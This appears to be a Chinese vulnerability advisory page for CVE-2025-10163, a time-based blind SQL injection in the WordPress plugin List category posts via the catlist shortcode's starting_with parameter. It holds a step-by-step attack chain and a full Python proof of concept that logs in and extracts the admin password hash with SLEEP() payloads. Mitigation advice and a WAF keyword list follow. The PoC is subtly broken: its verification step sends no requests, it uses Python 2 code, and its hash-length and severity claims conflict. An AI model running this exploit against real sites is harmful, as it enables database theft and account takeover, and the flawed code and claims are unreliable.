IPBUF安全漏洞报告
English
CVE-2025-10163 CVSS 6.5 中危

CVE-2025-10163 WordPress List category posts插件SQL注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-10163
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
List category posts plugin for WordPress

相关标签

CVE-2025-10163SQL注入WordPress插件漏洞时间盲注List category posts认证用户攻击CWE-89OWASP Top 10CVSS 6.5

漏洞概述

CVE-2025-10163是WordPress插件List category posts中的一个高危SQL注入漏洞。该插件是一款流行的WordPress插件,用于在文章和页面中显示指定分类的文章列表。漏洞存在于catlist短代码的starting_with参数中,由于该参数的用户输入未经过充分的转义处理,且现有SQL查询缺乏足够的预编译准备,导致攻击者可以在原有SQL查询后追加恶意SQL语句。这是一个时间盲注类型的SQL注入漏洞,攻击者可以通过数据库延迟响应来推断查询结果。攻击者需要具有WordPress Contributor级别或更高的账户权限即可利用此漏洞,成功利用后可从数据库中提取敏感信息,包括用户密码哈希、管理员凭据、其他插件和主题的配置信息等。由于该插件被广泛应用于WordPress网站,此漏洞可能影响大量使用该插件的网站。

技术细节

该漏洞属于时间盲注(Time-based Blind SQL Injection)类型。漏洞产生的根本原因在于两个方面:一是用户提供的starting_with参数值在拼接到SQL查询前未经过充分的转义处理;二是现有的SQL查询语句没有使用参数化查询或预编译语句,导致攻击者可以通过注入恶意SQL片段来改变查询逻辑。攻击者可以利用SQL的BENCHMARK()或SLEEP()等时间延迟函数,结合条件判断语句(如IF()、CASE WHEN等),通过观察响应时间的差异来推断数据库中的敏感信息。例如,攻击者可以构造类似starting_with=' UNION SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM wp_users--的payload,通过暴力猜解的方式逐字符获取数据库中的密码哈希。由于是时间盲注,攻击效率较低但利用难度不大,任何具有Contributor权限的认证用户都可以尝试利用此漏洞。漏洞影响插件0.91.0及以下所有版本。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别或更高权限的账户。Contributor角色默认可以创建和发布文章、提交评论。
STEP 2
步骤2
攻击者识别目标网站是否安装并启用存在漏洞的List category posts插件(版本<=0.91.0)。可以通过检查页面源码或尝试使用catlist短代码来确认。
STEP 3
步骤3
攻击者构造恶意的catlist短代码,利用starting_with参数注入时间盲注SQL payload。payload通常包含UNION SELECT语句结合SLEEP()函数。
STEP 4
步骤4
攻击者将恶意短代码嵌入到文章内容、页面或评论中并提交。WordPress会解析短代码并执行底层PHP代码,触发SQL注入。
STEP 5
步骤5
通过观察数据库响应时间的差异(延迟表示条件为真),攻击者逐步推断并提取数据库中的敏感信息,如用户密码哈希、API密钥等。
STEP 6
步骤6
获取管理员密码哈希后,攻击者可以尝试离线破解MD5哈希或直接利用获取的信息进行进一步横向移动和权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10163 PoC - WordPress List category posts SQL Injection # Authentication required: Contributor-level or higher # Target: WordPress site with List category posts plugin <= 0.91.0 import requests import time import string TARGET_URL = "https://vulnerable-site.com/" USERNAME = "attacker" PASSWORD = "password123" def get_wordpress_session(): """Login to WordPress and get session cookie""" session = requests.Session() login_url = TARGET_URL + "wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) return session def extract_admin_hash(session): """ Time-based blind SQL injection to extract admin password hash Uses SLEEP() function to infer character values """ admin_hash = "" charset = string.ascii_lowercase + string.digits + string.letters # SQL Injection payload template # This payload extracts the first character of user_pass from wp_users payload_template = "a' UNION SELECT IF(SUBSTRING(user_pass,{},1)='{}',SLEEP(5),0) FROM wp_users WHERE id=1-- " for position in range(1, 65): # WordPress MD5 hash is 32 chars for char in charset: # Create malicious shortcode shortcode = f"[catlist name='test' starting_with=\"{payload_template.format(position, char)}\"]" # Post comment with shortcode (Contributor can post comments) post_url = TARGET_URL + "wp-comments-post.php" comment_data = { "comment": shortcode, "submit": "Post Comment", "comment_post_ID": "1" } start_time = time.time() session.post(post_url, data=comment_data) elapsed = time.time() - start_time # If SLEEP(5) executed, response will be delayed by ~5 seconds if elapsed >= 4.5: admin_hash += char print(f"[*] Position {position}: {char} (hash: {admin_hash})") break return admin_hash def verify_vulnerability(session): """Verify the vulnerability exists by testing time-based injection""" # Normal query - should respond quickly normal_shortcode = "[catlist name='test' starting_with='a']" # Malicious query with SLEEP - should be delayed if vulnerable malicious_shortcode = "[catlist name='test' starting_with='a' AND (SELECT SLEEP(5))]x" # Test normal query start = time.time() # Simulate request (actual implementation would post to WordPress) elapsed_normal = time.time() - start # Test malicious query start = time.time() # Simulate request elapsed_malicious = time.time() - start if elapsed_malicious > elapsed_normal + 3: print("[+] Vulnerability confirmed: Time-based SQL injection works") return True else: print("[-] Vulnerability not confirmed or already patched") return False if __name__ == "__main__": print("[*] CVE-2025-10163 - WordPress List category posts SQL Injection") print("[*] Plugin: List category posts <= 0.91.0") session = get_wordpress_session() if verify_vulnerability(session): print("[*] Extracting admin password hash...") admin_hash = extract_admin_hash(session) print(f"[+] Admin hash extracted: {admin_hash}") else: print("[-] Target is not vulnerable")

影响范围

List category posts plugin for WordPress <= 0.91.0

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)临时禁用List category posts插件或移除catlist短代码功能;2)通过WordPress角色管理限制低权限用户(Contributor及以下)创建和发布内容的权限;3)部署Web应用防火墙规则,检测并阻止包含starting_with参数中常见SQL注入特征的请求(如UNION、SELECT、SLEEP、BENCHMARK等关键词);4)考虑使用其他安全的分类文章展示插件替代;5)加强对WordPress管理员账户的监控,及时发现异常登录和操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表